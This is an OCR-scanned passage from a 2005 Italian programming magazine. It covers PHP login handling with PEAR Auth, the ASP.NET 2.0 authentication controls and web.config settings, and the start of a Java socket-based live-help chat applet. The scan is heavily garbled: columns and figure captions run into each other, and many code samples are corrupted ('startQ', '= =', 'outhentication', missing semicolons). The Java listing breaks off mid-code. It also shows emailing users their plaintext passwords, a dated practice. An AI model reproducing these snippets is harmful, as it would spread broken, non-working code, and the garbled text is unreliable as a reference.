


echo "Solo gli utenti registrati possono accedere 

qui<br>" 



echo '<a href=index.php?action = 



logout>Logout</a>' 



} 



Il metodo che controlla se un utente si è autenti- 
cato o meno è ^fJfliUtl notate che solo se get- 




AuthQ ritorna un valore true si può accedere al 



http://www.ioprogrammo.it 



Dicembre 2005/ 23 ► 



IOPROGRAMMO WEB T ■ Autenticazione con PHP 




CREARE 

LA TABELLA DI 

AUTENTICAZIONE 

Una tabella funzionale 
allo scopo di contenere 
le informazioni di au- 
tenticazione, può esse- 
re creata in MYSQL con 
il seguente codice 



CREATE TABLE auth ( 

username VARCHAR( 

50) default " NOT NULL, 

password VARCHAR( 

32) default " NOT NULL, 

PRIMARY KEY 

(username), 

KEY (password) 

); 



codice contenuto nell'if sottostante. Altra nota in- 
teressante è che all'interno del codice condizio- 
nale abbiamo inserito un azione per il Logout che 
non fa altro che richiamare la pagina index.php e 
passargli in get un parametro. 
Il codice che gestisce il parametro in questione è: 



if ($_GET['action'] 



"logout" && $a->checkAuth()) 



{ 



$a->logout(); 



$a->start(); 



} 



controlla che il parametro passato sia "logout", 
verifica che esista una sessione relativa all'utente 
autenticato, se esiste effettua il logout con il meto- 
do logoutO e mostra di nuovo la form di autenti- 
cazione con il metodo start(). 
Notate che fino ad ora non ci siamo mai dovuti 
occupare via codice della gestione della sessione, 
o di recuperare i dati dal database, è stata la clas- 
se Auth ad occuparsi di tutto evitandoci un bel po' 
di lavoro di backend. 

Come ultimo esempio di questo paragrafo creia- 
mo un secondo file chiamato due.php e inseria- 
mo al suo interno il seguente codice: 



<? 


require_once "config/config.inc.php"; 


if ($_GET['action'] 


= = "logout" && $a->checkAuth()) 


{ 


$a->logout(); 


$a->start(); 


} 


if ($a->getAuth()) { 


echo "Solo gli 


utenti 


registrati possono accedere 
qui<br>"; 


echo "<a href 


=index 


.php>torna 

all'indice</A><br>"; 


echo '<a href= 


= index 


php?action = 

logout >Logout</a>'; 


} 


?> 



modifichiamo index.php come segue: 



if 


($a->getAuth()) 




{ 




echo 


"Solo gli 


utenti registrati possono accedere 
qui<br>"; 




echo 


"<a href= 


=due.php>Vai a due</axbr>"; 




echo 


'<a href= 


index. php?action = 

logout >Logout</a>'; 


} 



Noterete che la navigazione fra i due file sarà 
completamente trasparente e non verranno ri- 
chieste ulteriori credenziali di autenticazione. 



MODIFICARE 
IL CONTAINER 

Fin qui abbiamo usato come fonte per i dati di 
autenticazione un database MySQL. Tecnicamen- 
te si propone come un'ottima soluzione. Abbiamo 
anche detto però che uno dei punti di forza della 
classe Auth, risiede proprio nella capacità di sup- 
portare diversi container con un minimo sforzo 
programmativo. Se ad esempio le credenziali di 
autenticazione risiedessero in un file in uno dei 
classici formati Unix,CSV ovviamente con pas- 
sword criptate, il codice di config.inc.php cam- 
bierebbe come segue: 



<? 

require_once "Auth.php"; 

$params="pwd.txt"; 

$a = new Auth("File", $params, "loginFunction"); 

$a -> startQ; 

?> 



Si intuisce facilmente che le modifiche sono vera- 
mente banali. In realtà tutto questo funziona 
egregiamente con PHP4, molto meno con PHP5. 
C'è un bug nella documentazione di Pear/Auth e 
uno nell'implementazione delle sue classi costi- 
tuenti. Secondo la documentazione ufficiale di 
fatti i parametri da passare, ad esempio, al contai- 
ner di tipo DB sono semplicemente costituiti da 
una stringa. Tuttavia se provate a passare come 
parametro al costruttore Auth una stringa come 
nell'esempio che segue: 

<? 

require_once "Auth.php"; 

$params= "mysql: 

//ioPuser:ioPpasswd@localhost/ioPlogin"; 
$a = new Auth("DB", $params, "loginFunction"); 
$a -> startQ; 
?> 

Otterrete un errore di tipo: 

Fatai error: Cannot unset string offsets in 

Questo perché il costruttore si attende un array. 
Viceversa il Container di tipo File supporta solo 
una stringa, ma il costruttore di Auth si attende 
comunque un array, così se provate a passare una 
stringa come parametro "nome-del-file-di-pas- 
sword" del container di tipo File otterrete ancora 
una volta lo stesso errore. Un possibile hack per 
"patchare" il problema è modificare la linea 180 
del file Auth.php contenuto nella directory di in- 
clusione di Pear come segue: 



function Auth($storageDriver, $options = ", 
loginFunction = ", $showLogin 



true) 



»> 24 /Dicembre 2005 



http://www.ioprogrammo.it 



Autenticazione con PHP ■ T IOPROGRAMMO WEB 



if (is_array($options) && !empty( 

$options['sessionName'])) { 
$this->_sessionl\lame = 

$options['sessionName']; 
unset($options['sessionName']); 



lori separati da virgola, ognuno dei quali deve tro- 
vare una colonna corrispondente nella colonna 
Auth. Tutti i valori vengono restituiti dopo la ri- 
chiesta di autenticazione e salvati nella session 
corrente. 




Con questa soluzione tutto funziona egregiamente. 



OTTIMIZZAZIONI FINALI 

A differenza di PHPLib o altre librerie simili, Auth 
non supporta direttamente la gestione dei ruoli. 
Si tratta di un limite facilmente superabile. 
Considerate un config.inc.php modificato come 
segue: 



PICCOLE COMODITÀ 

Il metodo getUsername() restituisce il nome del- 
l'utente loggato. Ad esempio volendo offrire il 
benvenuto ad un utente che ha appena effettuato 
il login si può utilizzare qualcosa del genere: 

if ($a->getAuth()) { 

echo "Solo gli utenti registrati possono accedere 

qui<br>"; 
echo "Benvenuto ".$a->getUsername()."<br>"; 



<? 



require_once "Auth.php" 



$params = array("dsn" = > "mysql: 

//ioPuser:ioPpasswd@localhost/ioPlogin" 



"table" => "auth" 



"usernamecol" => "username" 



"passwordcol" => "password" 



"db_fìelds" => "role" 



); 



$a = new Auth("DB", $params, "loginFunction"); 



$a -> start(); 



?> 



abbiamo semplicemente aggiunto una cella indi- 
cizzata come db_fields all'array dei parametri 
passati al costruttore. La cella viene valorizzata 
con un campo precedentemente inserito come 
colonna nella tabella auth. Se provate adesso ad 
eseguire una stampa della session, ottenete: 



I metodti setExpire e setldle possono essere utiliz- 
zati per definire il tempo di expire della sessione e 
la latenza fra un'azione e l'altra prima che l'uten- 
te venga automaticamente disconnesso. 



CONCLUSIONI 

L'aspetto più interessante dell'intera classe Auth è 
la sua semplicità di utilizzo. Pecca ancora in qual- 
che bug di documentazione, ma rappresenta 
senza dubbio un ottimo e completo punto di par- 
tenza, per chi ha bisogno di proteggere le proprie 
pagine da login non autorizzati. Non si tratta sen- 
za dubbio della classe Pear più avanzata per il 
controllo dell'autenticazione, ma sicuramente è 
abbastanza affidabile, semplice e customizzabile 
da potere essere utilizzata in progetti di dimensio- 
ni medio/grandi. 



Array 



[_authsession] => Array 



( 



[data] => Array 



( 



[role] => 1 



) 



[registered] => 1 



[username] => jaco 



[timestamp] => 1129642680 



[idle] => 1129642680 



) 



Notate come il valore recuperato "role" recupera- 
to dal database ed associato all'utente autenticato 
viene salvato nella session. L'elemento indicizza- 
to come db_fields può contenere una serie di va- 



PERSONALIZZAZIONE DELLA FORM 



Certamente la maggior parte di voi 
non sarà contenta di come appare 
la form di autenticazione in condi- 
zioni standard. Potete semplice- 
mente effettuare un ovverride, uti- 
lizzando il parametro string Slogin- 
Function del costruttore. 
L'esempio è il seguente: 



<? 



require_once "Auth.php" 



function loginFunction() 



{ 



echo "<form method=\"post\" action = 
\"index.php\">" 



echo "<input type=\"text\" name= 
\"username\">" 



echo "<input type=\"password\" 



name=\"password\">"; 



echo "<input type=\"submit\">" 



echo "</form>";} 



$params = array("dsn" = > "mysql: 

//ioPuser:ioPpasswd@localhost/ioPlogin", 

"table" => "auth", "usernamecol" => 

"username", 

"passwordcol" => "password"); 



new Auth("DB", $params, 

"loginFunction"); 



$a->start(); 



?> 

Ovviamente questa operazione va 
fatta in config.inc.php di modo che 
l'aspetto che la form di autentica- 
zione assumerà sia comune a tutte 
le pagine che ne fanno uso. 



http://www.ioprogrammo.it 



Dicembre 2005/ 25 ► 



IOPROGRAMMO WEB ▼ I Autenticazione con Asp.NET 2.0 



Gestire gli utenti 

con ASP.NET 2.0 

Tra le novità più interessanti della nuova versione del framework 
di Microsoft dedicato ad Internet spicca l'arrivo di alcuni controlli 
per la gestione dell'autenticazione. Vediamo come funzionano 





[^3 I ---"■-:-< l^i 



Tempo di realizzazione 



Ly autenticazione degli utenti all'interno di 
un'applicazione web è sempre stata 
J un'operazione delicata ma, soprattutto, 
ripetitiva. Delicata perché ogni qualvolta si per- 
mette ad un utente di inserire informazioni al- 
l'interno del proprio sito, si apre una "porta" ver- 
so il proprio server (basti pensare a tutti i casi di 
SQL Injection che si sono verificati tramite i cam- 
pi di username e password), ripetitiva perché è 
un'operazione che coinvolge sempre le stesse ri- 
sorse, ad esempio un database e il codice per au- 
tenticare l'utente, che vanno ripetute tra le pagi- 
ne dei vari siti. Se con ASRNET l.x già si erano vi- 
sti dei miglioramenti a tal proposito, con la se- 
conda release troviamo dei veri e propri stru- 
menti che facilitano il compito del programma- 
tore. All'interno dei nuovi controlli di ASP.NET 
2.0 troviamo le seguenti novità: 

• Loghi: è un controllo completamente funzio- 
nante per raccogliere le informazioni dell'u- 
tente e per avviare il processo di autentica- 
zione. 

• LoginStatus: è un controllo che indica lo stato 
di autenticazione dell'utente. Visualizza un 
link per effettuare il Login quando l'utente è 
ancora anonimo ed uno per il Logout quando 
l'utente è autenticato. 

• LoginView: è un controllo che definisce una 
zona dove inserire viste basate sullo stato di 
autenticazione dell'utente. In queste viste è 
possibile inserire i controlli e le informazioni 
da far visualizzare a seconda dello stato di 
autenticazione dell'utente. 

• LoginName: è un controllo che riporta auto- 
maticamente il nome dell'utente che si è au- 
tenticato. 

• CreateUserWizard: è un controllo completa- 
mente funzionante per raccogliere le infor- 
mazioni di registrazione di un utente. È for- 
mato, inizialmente, da due step: raccolta dei 



dati dell'utente, come username e password 
e messaggio di registrazione completata. Co- 
munque è un controllo flessibile che permet- 
te anche l'aggiunta e la personalizzazione de- 
gli step. 

• ChangePassword: è un controllo che permet- 
te ad un utente di cambiare la propria pas- 
sword. 

• PasswordRecovery: recupera la password 
smarrita da un utente o genera una nuova. Il 
controllo è in grado di inviare una email all'u- 
tente con i dati della password previa impo- 
stazione del server di posta smtp. 

Questa serie di nuovi controlli, in aggiunta ad 
una nuova serie di istruzioni da inserire all'inter- 
no del file di configurazione web.conflg, permette 
di implementare la funzionalità di autenticazio- 
ne degli utenti, in maniera semplice e sicura. 



CREAZIONE 

DELL'APPLICAZIONE 

WEB 

Per vedere immediatamente i nuovi controlli di 
Login all'opera, la soluzione più semplice è quel- 
la di creare un nuovo sito, utilizzando Visual Web 



lernplates: 



(gA5P.NET Website 
|^ Enipty Web Site 



-■esrch Online Templates. , . 



ASP.NET Web Servite 

.^ASP.NET Crostai Reports Web Site 



I-i ■,!(■. : ■■ III I ì ■ ■!, il. ■ .!!■! Il, ■■! • ".I ■< 



| File System ^J | C:\Sorgenti\Web 



LangjJage: | Visuale* ^1 



-| Browse... 



H_ 



Fig. 1: Iniziamo creando un nuovo "personal web site 
starter kit" 



* 26 /Dicembre 2005 



http://www.ioprogrammo.it 



Autenticazione con Asp.NET 2.0 ■ T IOPROGRAMMO WEB 



Developer 2005 Express Edìtìon (http:lllab.msdn 
.microsoft.com/express/vwd/], partendo dal tem- 
plate chiamato Personal Web Site Starter Kit. Que- 
sto kit permette di creare un sito completamente 
funzionante adatto a chi voglia condividere con 
gli altri le proprie foto e i propri dati personali. 
Il sito viene fornito con la completa implemen- 
tazione dei controlli di Login che possono essere 
analizzati per capirne il funzionamento. 
Vediamo i semplici passi necessari a creare il sito: 

IDopo aver mandato in esecuzione il tool di svi- 
luppo, occorre selezionare il menu File \ New 
Web Site... 

2 Dalla dialog box New Web Site di Figura 1 sce- 
gliere il template Personal Web Site Starter Kit 
specificando un nome per identificare l'applicazio- 
ne web. 

3 Eseguire l'applicazione scegliendo il menu 
Debug | Start Without Debugging oppure pre- 
mendo i tasti CTRL e F5. 

4 L'ultimo passo è quello che permette all'appli- 
cazione di creare automaticamente due ruoli 
all'interno del database degli utenti: Administrators 
e Friends. Il codice che provvede a realizzare questa 
funzionalità risiede nel file global.asax all'interno 
dell'evento Application_Start. 

void Application_Start(Object sender, EventArgs e) { 
SiteMap.SiteMapResolve += new 

SiteMapResolveEventHandler( 
AppendQueryString); 
if (!Roles.RoleExists("Administrators")) 

Roles.CreateRole("Administrators"); 
if (!Roles.RoleExists("Friends")) 

Roles.CreateRole("Friends"); 



Il codice utilizza le classi del Membership, tra le 
quali la classe Roles, per controllare che il ruolo 
non sia già presente nel database. Nel caso in cui 
il sito non sia stato mai visitato il codice provve- 
de a creare i due ruoli utilizzando il metodo Crea- 
teRoleQ. Il metodo accetta un parametro stringa 
che rappresenta il nome del ruolo. 



IMPLEMENTARE 
IL LOGIN 

Analizzando nel dettaglio le pagine generate dal 
kit di Visual Web Designer 2005 Express Edition 
possiamo vedere che all'interno della pagina De- 
fault.aspx vengono utilizzati due controlli: il Lo- 
ginView e il LoginStatus (vedi Figura 2) . 



All'interno della pagina Register.aspx, invece, tro- 
viamo il controllo CreatellserWizard che permette 



-w-eyal* ^^|T-t*-j*3-^i ► alia*" 



-Loginview 



LoginStatus 



'!-,„.. 



Fig. 2: I controlli LoginView e LoginStatus contenuti 
nel sito creato tramite il template Personal Web Site 
Kit 

di aggiungere utenti al proprio database senza 
scrivere una riga di codice! 
Tutti i controlli di Login sono legati ad alcune 
istruzioni che occorre, necessariamente, inserire 
all'interno del file di configurazione del sito: il 
web.config. Vediamo le righe necessarie per im- 
plementare il login: 

outhentication mode="Forms"> 

<forms loginUrl = "Default.aspx" 

protection = "Validation" timeout="300" /> 
</authentication> 

Attraverso il tag <authentication> è possibile spe- 
cificare il metodo da utilizzare per implementare 
l'autenticazione degli utenti. Nel nostro caso oc- 
corre specificare il modo Forms per indicare che 
si utilizzerà una pagina web per gestire l'autenti- 
cazione. Tramite il tag <location> è possibile, in- 
vece, specificare una directory, utilizzando l'at- 
tributo path, dove autorizzare solo un particola- 
re gruppo di utenti o degli utenti specifici. 
Vediamo un esempio dove viene specificato che 
solo gli amministratori del sito possono accedere 
alla directory Admin: 



<location path = "Admin"> 


<system.web> 


<authorization> 


<allow 


roles="Ac 


ministrators"/> 




<deny 


users="*"/> 


</authorization> 


</system.web> 


</location> 



Il tag <allow> all'interno della sezione <authoriza- 
tion> permette di specificare gli utenti e i ruoli 
che hanno accesso alla directory specificata. 
Il tag <deny>, invece, permette di specificare gli 
utenti e i ruoli ai quali è negato l'accesso alla 





I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 27 ► 



IOPROGRAMMO WEB T 



Autenticazione con Asp.NET 2.0 





PER SAPERNE 
DI PIÙ 



SQL Injection è una 
tecnica che permette 
ad un utente malin- 
tenzionato di accedere 
a dei dati privati con- 
tenuti all'interno del 
database. Solitamente 
le pagine del sito che 
accedono al database 
utilizzando delle istru- 
zioni SQL costruite 
concatenando infor- 
mazioni inserite 
dall'utente, sono sog- 
gette a questo tipo di 
attacco. 



directory. Utilizzando caratteri speciali come * e 
? è possibile dichiarare, rispettivamente, tutti gli 
utenti o solo quelli anonimi. 



I PRINCIPALI CONTROLLI 
PER IL LOGIHI 

Vediamo in dettaglio i principali controlli che so- 
no stati aggiunti in ASP.NET 2.0 per gestire il Lo- 
gin. Il primo controllo che prendiamo in esame è 
il LoginView che permette di definire una zona 
all'interno della pagina web dove inserire i con- 
trolli per il Login. Questa zona, o vista, assume 
diversi aspetti in base allo stato di autenticazione 
dell'utente e al suo ruolo. 

Ad esempio, all'interno del sito creato in prece- 
denza, il LoginView è utilizzato per visualizzare i 
campi di testo e i pulsanti per effettuare l'acces- 
so, ma successivamente, una volta che l'utente si 
è autenticato, il controllo mostra un messaggio 
di benvenuto (vedi Figura 3). 



Login to Site 

User Marne 


Welcome webmaster! 




webmaster 


Password 


| 


1 Rernernber me next tirne 
+ login 
or 
+ create account 

Your login atternpt was not 
successful. Please try again. 



Fig. 3: Le due viste del controllo LoginVire prima e 
dopo l'autenticazione 

Per definire i controlli e l'aspetto che la vista as- 
sumerà prima e dopo l'autenticazione dell'uten- 
te, il controllo offre quello che viene chiamato 
uno smartag, ovvero un veloce riferimento alle 
principali funzionalità del controllo. In Figura 4 è 
visualizzato il controllo all'interno dell'ambiente 
di sviluppo dopo che è stato attivato lo smartag (il 
piccolo pulsante con il triangolo). 
Tramite la combo box Views è possibile scegliere 
tra le varie viste disponibili e, tramite la voce Edit 



UH ^■^Ftum^Q ^Hyj 1 nninUif>ui Taclrc 


Login to Site 


Edit RoleGroups... 




Administer Website 


'tìser Narri ej 


r 


Edit Ternplates i 




F 1 Password 


veniarn. 


r 



Template, inserire all'interno della vista i vari con- 
trolli. Esistono due voci all'interno della combo 
box Views chiamate AnonymousTemplate e Logged- 
InTemplate che, rispettivamente, permettono di 
costruire la pagina nel caso in cui sta navigando 
un utente anonimo e un utente autenticato. 
Tramite la voce Edit RoleGroups è possibile ag- 
giungere una vista associata ad un ruolo, specifi- 
cato precedentemente tramite il sito di ammini- 
strazione, in modo da visualizzare dei compo- 
nenti solo a particolari utenti aventi quel parti- 
colare ruolo. 

Il secondo controllo che prendiamo in esame è il 
Login. Questo controllo è composto da tutti gli 
elementi necessari all'autenticazione dell'utente 
e possiede anche tutto il codice, nascosto e non 
modificabile, per gestire automaticamente que- 
sta funzionalità. Il controllo è in grado anche di 
scatenare degli eventi che possono essere gestiti 
per modificare o integrare il comportamento di 
base. Tra i più interessanti troviamo Loggedln e 
Loggingln che servono a effettuare delle opera- 
zioni, rispettivamente, quando l'utente si è au- 
tenticato e quando ha premuto il pulsante per 
autenticarsi. 

Una volta inserito all'interno della pagina web il 
controllo disegna la classica interfaccia compo- 
sta da campi di testo per lo username e la pas- 
sword, un check box per generare un cookie di 
autenticazione utile per evitare successive au- 
tenticazioni da parte dell'utente, e un pulsante 
per attivare il processo di autenticazione. 



B 


Log In l± 


Login Tasks 






User Name: 


* 


Auto Format,,. 






Convert to Template 
Administer Website 
Edit Ternplates 


Password: 
TRer 


|. 
nernber me next tirne, 

Log In 









Fig. 4: Il controllo LoginView durante la fase di edi- 
ting della pagina 



Fig. 5: Il controllo Login durante la fase di editing 
della pagina 

In Figura 5 è rappresentato il controllo Login du- 
rante la fase di costruzione della pagina ASP.NET 
Il menu dello smartag permette, tramite la voce 
Auto Format, di specificare un formato grafico più 
accattivante tra una scelta di sei template. Inoltre 
è possibile modificare il template selezionando 
la voce Convert To Template ed aggiungere o mo- 
dificare i controlli inseriti dentro il Login. Il terzo 
controllo che analizziamo è il CreateUserWizard 
presente all'interno della pagina Register.aspx del 
sito creato precedentemente. Il controllo per- 
mette di creare un utente ed aggiungerlo auto- 
maticamente all'interno del database degli uten- 
ti del sito. In Figura 6 è rappresentato il controllo 
all'interno di Visual Web Designer 2005. 
Il controllo viene fornito con due semplici passi: 



». 28 /Dicembre 2005 



http://www.ioprogrammo.it 



Autenticazione con Asp.NET 2.0 ■ T IOPROGRAMMO WEB 



...f^ m 




u Sign Up for Your New Account 

UserName: | * 


Auto Format,.. 


5tep: |5ign Up for Your New ""Il 
Add/Remove WizardSteps. , , 
Ccnvert te StartNavigationTemplate 
Ccnvert te StepNavigationTemplate 
Ccnvert te FinishMavigationT empiate 
Convert to CustomNavigationT empiate 
Customiie Create User Step 
Customize Complete Step 
Administer Website 
Edit Templates 




Password: | |* 


Confirm Password: | |* 


E-ma,l:| 3 




Security Question: | |* 




Security Answer: | |* 


The Password and Confirmation Password must match, 
The email format is invalid. 

Create User 





Fig. 6: Il controllo CreateUserWizard durante la fase 
di editing della pagina 

la raccolta dei dati dell'utente e il messaggio di 
avvenuta registrazione. Questi passi sono modi- 
ficabili tramite la combo box Step presente nel 
menu di smartag. Inoltre, utilizzando la voce Add 
/Remove Wizard Steps è possibile aggiungere o ri- 
muovere ulteriori passi all'interno del controllo. 
Tra le varie funzionalità che offre CreateUserWi- 
zard troviamo la possibilità di inviare una email 
all'utente che si è registrato. Questa operazione è 
attuabile previa impostazione della proprietà 
MailDefinition. Impostando i campi di questa 
proprietà, come ad esempio l'oggetto della mail 
(Subject) e il mittente (From), è possibile definire il 
contenuto del messaggio da inviare. 
Inoltre, tramite dei particolari tag è possibile ri- 
portare all'interno della mail informazioni inse- 
rite dall'utente durante la fase di registrazione. 
Utilizzando <%Username%> e <%Password%> è 
possibile inserire nel messaggio, rispettivamen- 
te, lo username e la password scelti dall'utente 
durante la registrazione. 

L'ultima operazione necessaria per inviare una 
email è quella di definire il server di posta smtp 
da utilizzare. Questo avviene tramite la definizio- 
ne di una sezione smtp all'interno del file di con- 
figurazione del web. 
Vediamo un esempio: 



I controlli aggiungono e modificano gli utenti, 
cambiano password, effettuano l'autenticazione, 
ecc. ma il programmatore non ha mai dovuto 
occuparsi del database, di creare stored procedu- 
res, di scrivere il codice per accedere al database, 
ecc. 

L'intento dei programmatori di ASP.NET 2.0 è 
stato proprio quello di nascondere il funziona- 
mento dei controlli dalla gestione degli utenti 
all'interno della base dati. 

Infatti, l'unica cosa richiesta per attivare auto- 
maticamente tutto il processo di autenticazione 
è inserire all'interno del web.conflgìa modalità di 
autenticazione Forms: 

<system.web> 

outhentication mode="Forms" /> 
</system.web> 

A questo punto, una volta lanciata l'applicazione 
web e utilizzato un controllo di Login, il sistema 
copierà un database vuoto, chiamato aspnetdb 
.mdf, all'interno della directory speciale chiama- 
ta App_Data. 

L'accesso a questo database è automaticamente 
definito da una stringa di connessione definita 
all'interno del machine.config. 
Lo sviluppatore può ridefinire la stringa di con- 
nessione per far puntare i controlli di Login ad 
un altro database tramite la seguente sezione del 
web.config: 

<connectionStrings> 

<remove name = "LocalSqlServer" /> 

<add name="LocalSqlServer" connectionString = 

"Data Source=.\SQLExpress;Integrated 
Security=True;User Instance=True; 
AttachDBFilename=|DataDirectory| aspnetdb. mdf "/> 
</connectionStrings> 



fjl 

■ I 




SUL WEB 



Per approfondire l'ar- 
gomento sulla gestione 
degli utenti in ASP.NET 
2.0 è possibile trovare 
esempi e documenta- 
zione su: 

Il sito ufficiale della 
Microsoft: 

http://lab.msdn. microsoft 
.com 

Il sito di ASP.NET: 

http://www.asp.net 

E il sito di GotDotNet: 

http://www.qotdotnet 



<system.net> 



<mailSettings> 



<smtp deliveryMethod = "network" from = 

"webmaster@my-site.com"> 



<network 



host="localhost" 



port="25" 



defaultCredentials="true" 



/> 



</smtp> 



</mailSettìngs> 



</system.net> 



COSA CE SOTTO? 

Fino a questo punto dell'articolo non ci siamo 
interessati di cosa succede dietro le quinte. 



La prima istruzione rimuove la stringa di connes- 
sione definita globalmente nel machine.config 
mentre la seconda ne definisce una nuova. 
In questo esempio viene utilizzata la stringa di 
connessione verso un'istanza di SQLExpress ma 
è possibile utilizzare anche altri database come, 
ad esempio, Microsoft Access. 



CONCLUSIONI 

I nuovi controlli di Microsoft dedicati all'autenti- 
cazione sono piuttosto comodi e potenti. Come 
al solito il primo impatto è visuale, ma se avrete 
la pazienza e la voglia di andare più in profondità 
scoprirete che le possibilità di customizzazione 
sono davvero elevate. 

Fabio Claudio Ferracchiati 



http://www.ioprogrammo.it 



Dicembre 2005/ 29 ► 



IOPROGRAMMO WEB ▼ ■ Live Help in Java 



Aiuto in tempo 
reale con JAVA 

Implementiamo un'applicazione di "Live Help" che ci consente 
di parlare con un operatore mentre si naviga su un sito 
di e-commerce quando si necessita di supporto immediato 




□ 



CD □ WEB 



livehelp-O. l.tgz 



WltiltlìlIiliWii 



n 



REQUISITI 



■W.M.WA»JW.»JBa 
Linguaggio Java 





Tempo di realizzazione 



vf^fy v 



Problema: disponiamo di un sito web di com- 
mercio elettronico. Ci siamo resi conto che i 
nostri utenti sono piuttosto diffidenti verso 
l'acquisto online, inoltre per pigrizia o per scarsa 
volontà tendono a non leggere la chiara documen- 
tazione che comunque abbiamo reso disponibile e 
che specifica le modalità di spedizione, pagamento 
etc. Per questo motivo abbiamo deciso di creare un 
servizio di LiveHelp. Il servizio ha un funzionamen- 
to molto semplice. Sulla nostra Home Page campeg- 
gia un'icona ben visibile che recita "Parla diretta- 
mente con un operatore". Cliccando sull'icona si 
aprirà una finestra di Chat che metterà in contatto 
direttamente l'utente con l'operatore. Questo con- 
sente a chi visita lo store di avere un contatto uma- 
no e diretto con una persona che potrà fornirgli tut- 
te le informazioni del caso. Il progetto presenta 
qualche problema di implementazione. Prima di 
tutto devono essere reperiti gli indirizzi IP dei due 
estremi della connessione, in secondo luogo deve 
essere istituito una sorta di semaforo, tale che se tut- 
ti gli operatori sono impegnati nessuna ulteriore ri- 
chiesta può essere inoltrata. 



Il\l PRATICA 

L'applicazione è composta da due Applet, una che 
viene utilizzata dagli operatori dell'helpdesk ed 
un'altra che viene impiegata dagli utenti esterni, che 
si connettono in cerca di aiuto. Il codice delle due 
Applet, come vedremo, è quasi identico. Solo poche 
differenze permettono di agire da operatore di help- 
desk o da utente in cerca di aiuto. Una tipica sessio- 
ne di chat è illustrata in Figura 1. L'interfaccia uten- 
te dell' Applet è basilare. In alto è presente un titolo, 
con di fianco una icona. Questa è un semaforo, che 
ha significati leggermente diversi in funzione della 
tipologia di utente. Nel caso di un utente, se è verde, 
il servizio è disponibile. Se è rossa, non è disponibi- 
le. Nel caso di un operatore, se è verde, si è in attesa 





8 6 Visualizzatore applet: it.iop 


ogrammo.livehelp 






oProgrammo LiveHelp 


e 










è una fast ink bel 




f> f i" 1 Visualizzatore applet: it.iop 


ogrammo.lii/ehelp. 




oProgrammo LiveHelp 


e 




otap-bk—W 




™ 1 " 1 """ 




n chat cor 10.254.138.43 










ri chat cor 10.254.138.43 


A 



Fig. 1: L'inesperto utente sta cercando aiuto per uti- 
lizzare la propria stampante (le Applet sono eseguite 
all'esterno di una pagina HTML) 

o fase di chat con un utente. Se è rossa, la connes- 
sione è stata chiusa e bisogna ricaricare la pagina. 
Ovviamente esistono diversi operatori di helpdesk, 
e potenzialmente numerosi utenti. Per gestire l'in- 
contro tra domanda ed offerta l'applicazione utiliz- 
za un registro. Questo servizio rimane in ascolto di 
connessioni da parte dell'Applet. Quando si presen- 
ta unApplet di un operatore, il suo indirizzo IP viene 
memorizzato nell'elenco di quelli disponibili. 
Quando si presenta unApplet di un utente, gli viene 
assegnato primo IP dell'elenco degli operatori di- 
sponibili, se ce ne sono. Una volta che entrambi 
hanno l'indirizzo IP a cui connettersi, le due Applet 
entrano in chat tra di loro. 



CREAZIONE 
DEL REGISTRO 

Per prima cosa analizziamo la realizzazione del regi- 
stro. Sarà necessario importare una serie di classi 
per lì/O e per la comunicazione di rete. In partico- 
lare, le Applet ed il registro utilizzeranno normali 
socket: 

/** RegistroService **/ 

package it.ioprogrammo.livehelp. server; 

import it.ioprogrammo.livehelp.utils.Utils; 

import java.io.IOException; 

import java.io.InputStream; 



». 30 /Dicembre 2005 



http://www.ioprogrammo.it 



Live Help in Java ■ T IOPROGRAMMO WEB 



import java 


net.ServerSocket; 


import java 


net. Socket; 


import java 


util.ArrayList; 


import java 


util.Iterator; 


import java 


util.List; 



Socket s = ss.accept(); 



La classe RegistroService realizza tutto nel costrutto- 
re, che fa uso di un unico campo. Questo è di tipo 
List e si chiama availableHosts: 



/** 


* Servizio 


che mantiene il 


registro degli 


operatori 


* di h 


elp desk attualmente 


connessi e e 


isponibili 


*/ 


public 


class 


RegistroService 


{ 




fina 


List 


availableHosts = 


new ArrayList(); 



Il costruttore può sollevare una eccezione IOExcep- 
tion, in quanto si possono verificare numerosi pro- 
blemi di rete. Per creare un punto d'ascolto viene 
creata una ServerSocket in ascolto su una porta spe- 
cifica, il cui numero è centralizzato nella classe Utils 
nell'attributo registroServicePort. Questo sistema 
permette di evitare la duplicazione della configura- 
zione in più punti dell'applicazione. 

public RegistroService() throws IOExceptìon { 
byte[] buffer = new byte[ Utils.IP_STRING_SIZE ] ; 
System. out.println(" RegistroService. () 

servicePort=" + Utils. registroServicePort); 
final ServerSocket ss = new 

ServerSocket(Utils. registroServicePort); 
System. out.println("RegistroService.() pronto"); 

Come accortezza, il codice imposta subito un gesto- 
re di evento che si occupa di chiudere la server 
socket quando la Java Virtual Machine viene inter- 
rotta, ad esempio chiudendo la finestra: 



Runtime.getRuntime().addShutdownHook( 

new Th 


read() { 


public void run() { 


System.out.println("RegistroService.(): 
chiusura in 


corso"); 


try { 


ss.close(); 


} catch (IOExceptìon e) { 


e.printStackTrace();} } 


}); 



Un ciclo infinito si occupa di ricevere le richieste dai 
client e di soddisfarle. Le operazioni di risposta non 
implicano tempi lunghi, ed il sistema è fasato per un 
numero di utenti contenuto. Per questo motivo il 
server del registro non è a thread multipli. Questo 
aspetto avrebbe inoltre complicato notevolmente il 
codice: 
do { 



InputStream inputStream = s.getInputStream(); 
if (inputStream. read(buffer) != -1) { 



String ip = new String(buffer); 



System. out.println( 

"RegistroService. () richiesta da " + ip); 

Ad ogni connessione viene letto un blocco di 16 by- 
te. Il primo byte è un carattere di controllo, che indi- 
ca se il messaggio proviene da un operatore o da un 
utente. I seguenti 15 byte contengono l'indirizzo IP 
del chiamante. Questa informazione è ridondante, 
in quanto si potrebbe determinare l'indirizzo IP di 
chi chiama analizzando l'oggetto Socket di connes- 
sione. Nel caso di un operatore, il suo indirizzo IP 
viene aggiunto all'elenco, se questo già non lo con- 
tiene: 

//censimento postazione di lavoro 
if (ip.charAt(O) == Utils. SUPPORT_WS) { 
if (!availableHosts.contains(ip.substring(l))) { 

availableHosts. add( ip.substring(l) );} 
dump(); 
} 

Nel caso invece della connessione di un utente, vie- 
ne inviata una risposta che contiene l'indirizzo IP 
del primo operatore disponibile. Nel caso non ci sia- 
no operatori disponibili, vengono restituiti tutti spa- 
zi. In questo caso il client capisce che è necessario 
riprovare in seguito. La dimensione della risposta è 
sempre di 15 byte. 

//richiesta di connessione da parte 
//di un cliente esterno 

if (ip.charAt(O) == Utils.CUSTOMER_WS) { 
if (availableHosts. size() == 0) { 
//in caso non ci siano postazioni 
//libere ritorna un rimbalzo 
s.getOutputStream().write( 

Utils. SPACE_15.getBytes() ); 



} else { 
